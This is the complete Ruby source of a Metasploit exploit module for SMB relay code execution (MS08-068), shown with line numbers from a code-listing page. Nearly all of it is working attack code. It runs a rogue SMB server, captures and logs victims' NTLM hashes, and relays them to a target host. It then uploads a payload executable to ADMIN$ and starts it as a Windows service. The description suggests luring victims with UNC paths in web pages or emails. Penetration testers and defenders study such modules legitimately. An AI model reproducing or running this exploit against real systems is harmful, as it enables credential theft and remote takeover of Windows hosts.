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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 | ## # $Id: smb_relay.rb 10404 2010-09-21 00:13:30Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## =begin Windows XP systems that are not part of a domain default to treating all network logons as if they were Guest. This prevents SMB relay attacks from gaining administrative access to these systems. This setting can be found under: Local Security Settings > Local Policies > Security Options > Network Access: Sharing and security model for local accounts =end require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMBServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows SMB Relay Code Execution', 'Description'=> %q{ This module will relay SMB authentication requests to another host, gaining access to an authenticated SMB session if successful. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload. To exploit this, the target system must try to authenticate to this module. The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or email message. When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate.Unfortunately, this module is not able to clean up after itself. The service and payload file listed in the output will need to be manually removed after access has been gained. The service created by this tool uses a randomly chosen name and description, so the services list can become cluttered after repeated exploitation. The SMB authentication relay attack was first reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta, Georgia. On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin includes a patch which prevents the relaying of challenge keys back to the host which issued them, preventing this exploit from working in the default configuration. It is still possible to set the SMBHOST parameter to a third-party host that the victim is authorized to access, but the "reflection" attack has been effectively broken. }, 'Author' => [ 'hdm' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 10404 $', 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload'=> { 'Space'=> 2048, 'DisableNops'=> true, 'StackAdjustment' => -3500, }, 'References' => [ [ 'CVE', '2008-4037'], [ 'OSVDB', '49736'], [ 'MSB', 'MS08-068'], [ 'URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'], [ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ], [ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ], [ 'URL', 'http://www.xfocus.net/articles/200305/smbrelay.html' ] ], 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', { } ], ], 'DisclosureDate' => 'Mar 31 2001', 'DefaultTarget'=> 0 )) register_options( [ OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]) ], self.class ) end if (not const_defined?('NDR')) NDR = Rex::Encoder::NDR end def smb_haxor(c) smb = @state[c] rclient = smb[:rclient] if (@pwned[smb[:rhost]]) print_status("Ignoring request from #{smb[:rhost]}, attack already in progress.") return end if (not rclient.client.auth_user) print_line(" ") print_error( "FAILED! The remote host has only provided us with Guest privileges. " + "Please make sure that the correct username and password have been provided. " + "Windows XP systems that are not part of a domain will only provide Guest privileges " + "to network logins by default." ) print_line(" ") return end print_status("Connecting to the ADMIN$ share...") rclient.connect("ADMIN$") @pwned[smb[:rhost]] = true print_status("Regenerating the payload...") code = regenerate_payload(smb[:rsock]) # Upload the shellcode to a file print_status("Uploading payload...") filename = rand_text_alpha(8) + ".exe" servicename = rand_text_alpha(8) fd = rclient.open("\\#{filename}", 'rwct') exe = '' opts = { :servicename => servicename, :code => code.encoded } if (datastore['PAYLOAD'].include? 'x64') opts.merge!({ :arch => ARCH_X64 }) end exe = generate_payload_exe_service(opts) fd << exe fd.close print_status("Created \\#{filename}...") # Disconnect from the ADMIN$ rclient.disconnect("ADMIN$") print_status("Connecting to the Service Control Manager...") rclient.connect("IPC$") dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl") ## # OpenSCManagerW() ## print_status("Obtaining a service manager handle...") scm_handle = nil stubdata = NDR.uwstring("\\\\#{smb[:rhost]}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) scm_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end ## # CreateServiceW() ## servicename = rand_text_alpha(8) displayname = rand_text_alpha(rand(32)+1) svc_handle= nil svc_status= nil print_status("Creating a new service...") stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000000) + # Errors: Ignore NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path NDR.long(0) + # LoadOrderGroup NDR.long(0) + # Dependencies NDR.long(0) + # Service Start NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) # Password begin response = dcerpc.call(0x0c, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] svc_status = dcerpc.last_response.stub_data[24,4] end rescue ::Exception => e print_error("Error: #{e}") return end ## # CloseHandle() ## print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end ## # OpenServiceW ## print_status("Opening service...") begin stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end ## # StartService() ## print_status("Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e return #print_error("Error: #{e}") end ## # DeleteService() ## print_status("Removing the service...") stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e print_error("Error: #{e}") end ## # CloseHandle() ## print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("Error: #{e}") end rclient.disconnect("IPC$") print_status("Deleting \\#{filename}...") rclient.connect("ADMIN$") rclient.delete("\\#{filename}") end def smb_dcerpc(c, uuid, version, pipe) smb= @state[c] opts = { 'Msf' => framework, 'MsfExploit' => self, 'smb_pipeio' => 'rw', 'smb_client' => smb[:rclient] } handle = Rex::Proto::DCERPC::Handle.new([uuid, version], 'ncacn_np', smb[:ip], [pipe]) dcerpc = Rex::Proto::DCERPC::Client.new(handle, smb[:rsock], opts) end def smb_cmd_dispatch(cmd, c, buff) smb = @state[c] @pwned ||= {} case cmd when CONST::SMB_COM_NEGOTIATE smb_cmd_negotiate(c, buff) when CONST::SMB_COM_SESSION_SETUP_ANDX smb_cmd_session_setup(c, buff) when CONST::SMB_COM_TREE_CONNECT print_status("Denying tree connect from #{smb[:name]}") pkt = CONST::SMB_BASE_PKT.make_struct pkt['Payload']['SMB'].v['Command'] = cmd pkt['Payload']['SMB'].v['Flags1']= 0x88 pkt['Payload']['SMB'].v['Flags2']= 0xc001 pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022 c.put(pkt.to_s) else print_status("Ignoring request from #{smb[:name]} (#{cmd})") pkt = CONST::SMB_BASE_PKT.make_struct pkt['Payload']['SMB'].v['Command'] = cmd pkt['Payload']['SMB'].v['Flags1']= 0x88 pkt['Payload']['SMB'].v['Flags2']= 0xc001 pkt['Payload']['SMB'].v['ErrorClass'] = 0 # 0xc0000022 c.put(pkt.to_s) end end def smb_cmd_negotiate(c, buff) smb = @state[c] pkt = CONST::SMB_NEG_PKT.make_struct pkt.from_s(buff) # Record the remote process ID smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] group= '' machine= smb[:nbsrc] dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) # print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}") dialect = dialects.index("NT LM 0.12") || dialects.length-1 # Dialect selected, now we try to the target system target_host = datastore['SMBHOST'] if (not target_host or target_host.strip.length == 0) target_host = smb[:ip] end rsock = nil rport = nil [445, 139].each do |rport_| rport = rport_ begin rsock = Rex::Socket::Tcp.create( 'PeerHost'=> target_host, 'PeerPort'=> rport, 'Timeout' => 3, 'Context' => { 'Msf'=> framework, 'MsfExploit' => self, } ) break if rsock rescue ::Interrupt raise $! rescue ::Exception => e print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}") end end if(not rsock) print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.") return end rclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false) begin rclient.login_split_start_ntlm1(smb[:nbsrc]) rescue ::Interrupt raise $! rescue ::Exception => e print_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e}") raise e end if (not rclient.client.challenge_key) print_error("No challenge key received from #{smb[:ip]}:#{rport}") rsock.close return end if (smb[:rsock]) smb[:rsock].close end smb[:rsock] = rsock smb[:rclient] = rclient smb[:rhost] = target_host pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct smb_set_defaults(c, pkt) time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['WordCount'] = 17 pkt['Payload'].v['Dialect'] = dialect pkt['Payload'].v['SecurityMode'] = 3 pkt['Payload'].v['MaxMPX'] = 2 pkt['Payload'].v['MaxVCS'] = 1 pkt['Payload'].v['MaxBuff'] = 4356 pkt['Payload'].v['MaxRaw'] = 65536 pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended pkt['Payload'].v['ServerTime'] = time_lo pkt['Payload'].v['ServerDate'] = time_hi pkt['Payload'].v['Timezone'] = 0x0 pkt['Payload'].v['SessionKey'] = 0 pkt['Payload'].v['KeyLength'] = 8 pkt['Payload'].v['Payload'] = rclient.client.challenge_key + Rex::Text.to_unicode(group) + "\x00\x00" + Rex::Text.to_unicode(machine) + "\x00\x00" c.put(pkt.to_s) end def smb_cmd_session_setup(c, buff) smb = @state[c] pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct pkt.from_s(buff) # Record the remote multiplex ID smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] lm_len = pkt['Payload'].v['PasswordLenLM'] nt_len = pkt['Payload'].v['PasswordLenNT'] lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0] nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] buff = pkt['Payload'].v['Payload'] buff.slice!(0, lm_len + nt_len) names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } smb[:username] = names[0] smb[:domain] = names[1] smb[:peer_os] = names[2] smb[:peer_lm] = names[3] # Clean up the data for loggging if (smb[:username] == "") smb[:username] = nil end if (smb[:domain] == "") smb[:domain] = nil end print_status( "Received #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " + "LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " + "OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}" ) if (lm_hash == "" or lm_hash == "00") lm_hash = nil end if (nt_hash == "") nt_hash = nil end if (lm_hash or nt_hash) rclient = smb[:rclient] print_status("Authenticating to #{smb[:rhost]} as #{smb[:domain]}\\#{smb[:username]}...") res = nil begin res = rclient.login_split_next_ntlm1( smb[:username], smb[:domain], [ (lm_hash ? lm_hash : "00" * 24) ].pack("H*"), [ (nt_hash ? nt_hash : "00" * 24) ].pack("H*") ) rescue XCEPT::LoginError end if (res) print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...") smb_haxor(c) else print_error("Failed to authenticate as #{smb[:domain]}\\#{smb[:username]}...") end end print_status("Sending Access Denied to #{smb[:name]} #{smb[:domain]}\\#{smb[:username]}") pkt = CONST::SMB_BASE_PKT.make_struct smb_set_defaults(c, pkt) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX pkt['Payload']['SMB'].v['Flags1']= 0x88 pkt['Payload']['SMB'].v['Flags2']= 0xc001 pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022 c.put(pkt.to_s) end end |
体验盒子
